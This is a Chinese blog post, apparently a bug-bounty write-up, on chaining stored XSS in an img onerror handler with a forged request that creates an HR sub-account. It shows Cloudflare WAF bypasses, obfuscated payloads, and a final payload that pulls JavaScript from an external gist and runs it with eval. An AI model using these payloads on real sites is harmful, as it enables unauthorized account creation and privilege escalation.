天天看点

存储img标签+csrf 组合拳--骚炒作

我们测试的时候经常遇到img标签可以识别、但是但是弹窗属性被拦截的死死的、就是只能做到<img src="1">、这时候就可以img标签+csrf 组合拳攻击

关于目标

此应用程序是为人力资源部门构建的,用于管理员工的养老金。员工自己无权访问该应用程序。唯一的授权差异发生在主 HR 帐户和子 HR 帐户之间。

2 Sub-HR 帐户存在权限级别。

1. 只读访问
2. 标准访问      

具有标准访问权限的子 HR 帐户可以创建、编辑、删除员工记录。但是,它不能创建新的子 HR 帐户。仅允许主 HR 帐户这样做。

因此,在我们的攻击场景中,我们有一个子 HR 帐户。我们会将员工姓名编辑为将存储的 XSS 有效负载。我们的受害者,一个主 HR 帐户访问

Income Decl.

导致我们的有效负载执行的选项卡。它

POST

请求

/hrusers/add

创建新的子 HR 帐户。

这里是执行 XSS 的页面。有关公司的信息将根据他们的要求进行编辑。

存储img标签+csrf 组合拳--骚炒作

漏洞利用

POST /hrusers/add

最初看起来像这样的核心(删除了一些标题以增加可读性):

POST /hrusers/add HTTP/1.1              Host: www.app.tld              Cookie: auth=secret;              Content-Length: 976              Origin: https://www.app.tld              Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycItg8YvLxAC5Af6g              Sec-Fetch-Site: same-origin              Sec-Fetch-Mode: navigate              Sec-Fetch-User: ?1              Sec-Fetch-Dest: document              Referer: https://www.app.tld/              Connection: close              ------WebKitFormBoundarycItg8YvLxAC5Af6g              Content-Disposition: form-data; name="_method"              POST              ------WebKitFormBoundarycItg8YvLxAC5Af6g              Content-Disposition: form-data; name="data[User][first_name]"              john              ------WebKitFormBoundarycItg8YvLxAC5Af6g              Content-Disposition: form-data; name="data[User][last_name]"              doe              ------WebKitFormBoundarycItg8YvLxAC5Af6g              Content-Disposition: form-data; name="data[User][email_address]"              [email protected]              ------WebKitFormBoundarycItg8YvLxAC5Af6g              Content-Disposition: form-data; name="data[User][username]"              ne555-blog              ------WebKitFormBoundarycItg8YvLxAC5Af6g              Content-Disposition: form-data; name="data[User][password]"              testpass123!              ------WebKitFormBoundarycItg8YvLxAC5Af6g              Content-Disposition: form-data; name="data[User][conf_password]"              testpass123!              ------WebKitFormBoundarycItg8YvLxAC5Af6g              Content-Disposition: form-data; name="data[User][role_type]"                  ------WebKitFormBoundarycItg8YvLxAC5Af6g--
           

302 Found

请求成功后返回。

Bypass CloudFlare

1.我尝试的第一件事是使用

script

标签,但它被 cloudflare 阻止了。

存储img标签+csrf 组合拳--骚炒作

2.我试图绕过解析但是没有什么好的结果。所以我需要在事件处理程序中构建有效负载。

3. 我试图创建一个

XMLHttpRequest

. 但是,它也被阻止了。

<img src=x onerror="poc = new XMLHttpRequest()">
           

4. 在制作了几个payload之后,我意识到这种利用并不像我想象的那么容易。CSP 规则允许我从任何域中获取数据。因此,如果我将恶意 javascript 存储在其他地方并在运行时将其拉取,WAF 将无法检测到它。

5.

fetch()

被屏蔽了。所以我开始寻找一种以某种方式对其进行编码的方法。我想使用aurebesh.js[https://aem1k.com/aurebesh.js/]很长时间了。这似乎是一个很好的用例。这是完整的有效载荷:

<img src=x onerror="a='',b=!a+a,aa=!b+a,ab=a+{},ba=b[a++],bb=b[baa=a],bab=++baa+a,aaa=ab[baa+bab],b[aaa+=ab[a]+(b.aa+ab)[a]+aa[bab]+ba+bb+b[baa]+aaa+ba+ab[a]+bb][aaa](aa[a]+aa[baa]+b[bab]+bb+ba+'(a)')()">
           

6. WAF 没有阻止它并弹出警报。也许我可以这样编码

fetch()

。我尝试了 jsfuck.com[http://www.jsfuck.com/],但 WAF 阻止了我的有效载荷。这很奇怪。也许我可以编写自己的aurebesh.js[https://aem1k.com/aurebesh.js/]版本,让我可以将任何字母用于任何代码。

7. 经过一段时间的研究,我发现我的 JS 知识远远低于标准。我需要找到其他方法来绕过这个 WAF。

8. PayloadsAllTheThings[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection] repo 真的很有帮助,我发现

top["al"+"ert"](1);

有效载荷确实有效。我可以潜入这样的危险功能。

9. 如果我可以

multipart/form-data

请求

application/x-www-form-urlencoded

POST /hrusers/add

我就不必处理边界问题。尽管 Burp Suite 的

change body encoding

功能和服务器接受了请求,但我还是这样做了。

10. 我用下面的代码创建了一个新建用户的POC。

body = `_method=POST&data%5bUser%5d%5bfirst_name%5d=john&data%5bUser%5d%5blast_name%5d=doe&data%5bUser%5d%5bemail_address%5d=ne555%[email protected]&data%5bUser%5d%5busername%5d=ne555-blog&data%5bUser%5d%5bpassword%5d=testpass123%21&data%5bUser%5d%5bconf_password%5d=testpass123%21&data%5bUser%5d%5brole_type%5d=0`;              poc = new XMLHttpRequest();              poc.open(`POST`,`/hrusers/add`, true);              poc.setRequestHeader(`Content-Type`, `application/x-www-form-urlencoded`);              poc.withCredentials = true;              poc.send(body);
           

11. 现在我必须获取这个 javascript 并使用

eval()

. 有效负载创建是有问题的,因为它位于事件处理程序内部并且由许多层组成。gist 中的所有字符串都必须使用撇号创建。

12.最终的利用POC:

<img src="x" onerror="top[`fet`+`ch`]('https://gist.githubusercontent.com/Hubbey/84d413e76dd833b42eb0281b9d7191fa/raw/e08425e18d85b10e82dc6ba4bc25b0df08321000/blog').then(response =>response.text()).then((body) =>{top[`ev`+`al`](body);})">
           

13. 现在,当受害者访问该页面时,会创建一个新的子 HR 帐户。

继续阅读